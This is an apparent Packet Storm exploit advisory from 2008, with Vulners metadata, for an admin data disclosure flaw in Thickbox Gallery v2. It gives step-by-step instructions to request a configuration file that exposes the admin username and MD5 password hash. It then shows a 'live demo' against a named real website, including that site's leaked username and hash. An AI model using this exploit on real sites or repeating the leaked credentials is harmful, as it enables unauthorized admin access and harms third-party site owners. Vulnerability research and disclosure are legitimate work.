Search...

thickboxgallery-disclose.txt

2008-08-27T00:00:00

ID PACKETSTORM:69433
Type packetstorm
Reporter SirGod
Modified 2008-08-27T00:00:00

Description

                                        
                                            `#########################################################################################  
[+] Thickbox Gallery v2 Admin Data Disclosure  
[+] Discovered By SirGod   
[+] www.mortal-team.org   
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,MesSiAH,xZu,HrN,kemrayz  
##########################################################################################  
  
[+] Arbitrary Admin Data Disclosure  
  
- Go here and you will see the admin data ( login name + crypted password as MD5 )  
  
http://localhost/[Path]/conf/admins.php  
  
- Admin data :  
  
a:1:{s:5:"admin";s:32:"d73ed8a01f624fcb878296bc7ff302bc";}  
  
- Now extract the admin username and the hash :  
  
Username : admin  
  
Password : d73ed8a01f624fcb878296bc7ff302bc  
  
[+] Live Demo  
  
http://www.davilin.com/tbg/conf/admins.php  
  
- Retrived :  
  
a:1:{s:8:"ytakenak";s:32:"56bd1d32bcb1fbd2609e4d7634febbd1";}  
  
- Name + Password  
  
Username : ytakenak  
  
Password : 56bd1d32bcb1fbd2609e4d7634febbd1  
  
  
##########################################################################################  
  
`

JSON Vulners Source

Initial Source

{"hash": "60af6db6e1c13d2d834b0255df96b517e25d7b6b57e84676fd485da10ebd2f16", "edition": 1, "references": [], "objectVersion": "1.2", "viewCount": 0, "type": "packetstorm", "description": "", "bulletinFamily": "exploit", "href": "https://packetstormsecurity.com/files/69433/thickboxgallery-disclose.txt.html", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "d4be9c4fc84262b4f39f89565918568f"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "f8dbe4b70b443b368d7cd9b47d595837"}, {"key": "modified", "hash": "250e1546c32955657825643f972b2879"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "250e1546c32955657825643f972b2879"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "227758610fdec5dcc4d1a3dedb223f91"}, {"key": "sourceData", "hash": "2e73d3301e0e56bf65368a4d4ccf8525"}, {"key": "sourceHref", "hash": "b409bbdb6f70ad4893f641b4141803bf"}, {"key": "title", "hash": "d340a4c78fc20b65db7f29bd9eae58dd"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "published": "2008-08-27T00:00:00", "modified": "2008-08-27T00:00:00", "title": "thickboxgallery-disclose.txt", "cvelist": [], "sourceHref": "https://packetstormsecurity.com/files/download/69433/thickboxgallery-disclose.txt", "history": [], "reporter": "SirGod", "lastseen": "2016-11-03T10:26:38", "cvss": {"vector": "NONE", "score": 0.0}, "enchantments": {"score": {"value": 7.5, "vector": "NONE"}, "vulnersScore": 7.5}, "sourceData": "`######################################################################################### \n[+] Thickbox Gallery v2 Admin Data Disclosure \n[+] Discovered By SirGod \n[+] www.mortal-team.org \n[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,MesSiAH,xZu,HrN,kemrayz \n########################################################################################## \n \n[+] Arbitrary Admin Data Disclosure \n \n- Go here and you will see the admin data ( login name + crypted password as MD5 ) \n \nhttp://localhost/[Path]/conf/admins.php \n \n- Admin data : \n \na:1:{s:5:\"admin\";s:32:\"d73ed8a01f624fcb878296bc7ff302bc\";} \n \n- Now extract the admin username and the hash : \n \nUsername : admin \n \nPassword : d73ed8a01f624fcb878296bc7ff302bc \n \n[+] Live Demo \n \nhttp://www.davilin.com/tbg/conf/admins.php \n \n- Retrived : \n \na:1:{s:8:\"ytakenak\";s:32:\"56bd1d32bcb1fbd2609e4d7634febbd1\";} \n \n- Name + Password \n \nUsername : ytakenak \n \nPassword : 56bd1d32bcb1fbd2609e4d7634febbd1 \n \n \n########################################################################################## \n \n`\n", "id": "PACKETSTORM:69433"}